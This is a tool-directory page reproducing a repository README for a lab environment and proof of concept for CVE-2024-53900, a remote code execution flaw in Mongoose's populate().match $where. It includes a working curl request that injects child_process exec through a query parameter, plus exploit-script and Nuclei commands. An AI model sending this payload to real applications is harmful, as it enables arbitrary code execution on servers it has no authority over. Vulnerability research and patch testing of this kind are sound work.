Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-53900 β€” Reproducible environment and PoC for CVE-2024-53900, a critical RCE in Mongoose via populate().match $where. Includes automated exploit script and Nuclei template for security testing. | Kitploit
Tools/GitHubGitHub/www-spam/cve-2024-53900
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubwww-spam/cve-2024-53900

CVE-2024-53900

Reproducible environment and PoC for CVE-2024-53900, a critical RCE in Mongoose via populate().match $where. Includes automated exploit script and Nuclei template for security testing.

View Repository
131 year agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    627
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    413
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    350
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    329
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    AI powered OSINT engine to discover and map 7,700+ social media identities across the web

    283

Explore all tools

Browse our collection of tools

View all tools β†’
Share

CVE-2024-53900 - Mongoose populate().match $where RCE

This repository provides a reproducible vulnerable environment and PoC for CVE-2024-53900, a critical Remote Code Execution (RCE) vulnerability in Mongoose < 8.8.3.


πŸ“Œ Vulnerability Details

  • CVE: CVE-2024-53900
  • Affected: Mongoose < 8.8.3
  • Severity: Critical (CVSS 9.1)
  • Vector: populate().match combined with $where
  • Impact: Arbitrary JavaScript execution (RCE) in Node.js context

References:

  • GitHub Advisory
  • Fix Commit

πŸ› οΈ Setup Instructions

1. Clone the repository

git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900

2. Start environment (Docker Compose)

docker-compose up -d

πŸ“Œ GUI PoC (Calculator)

By default, the vulnerable Node.js app runs inside Docker.
However, GUI applications (like xcalc or gnome-calculator) will not launch inside a container.

πŸ‘‰ If you want to demonstrate the RCE by launching a calculator window:

  1. Run MongoDB in Docker (as DB backend)

    docker run -d --name mongo -p 27017:27017 mongo:6
    
  2. Run the vulnerable Node.js app locally

   cd ~/cve-2024/app
   npm install
   node server.js
  • MongoDB runs on port 27017
  • Vulnerable Node.js app runs on port 5000

πŸ“‚ Directory Structure

/home/kali/cve-2024/
β”œβ”€β”€ docker-compose.yml     # Environment setup
β”œβ”€β”€ exploit.py             # Automated exploit script
β”œβ”€β”€ CVE-2024-53900.yaml    # Nuclei template
β”œβ”€β”€ README.md              # Documentation
β”œβ”€β”€ app/                   # Vulnerable Node.js app
β”‚   β”œβ”€β”€ Dockerfile
β”‚   β”œβ”€β”€ package.json
β”‚   β”œβ”€β”€ server.js
β”‚   β”œβ”€β”€ models.js
β”‚   └── views/
└── data/                  # MongoDB volume

πŸš€ Exploitation

Manual test

curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"

Automated PoC

python3 exploit.py --url http://localhost:5000

With Nuclei

nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author
image

πŸ”’ Security Notes

  • For research and testing only (not production).
  • Payload restricted to safe operations (e.g., file creation).
  • Fully isolated using Docker.

βœ… Tested Environment

  • OS: Kali Linux
  • MongoDB: mongo:6
  • Node.js: 18
  • Mongoose: 8.5.0 (vulnerable)
  • Express: 4.18.2

πŸ“Έ Demo

Image
Download Tool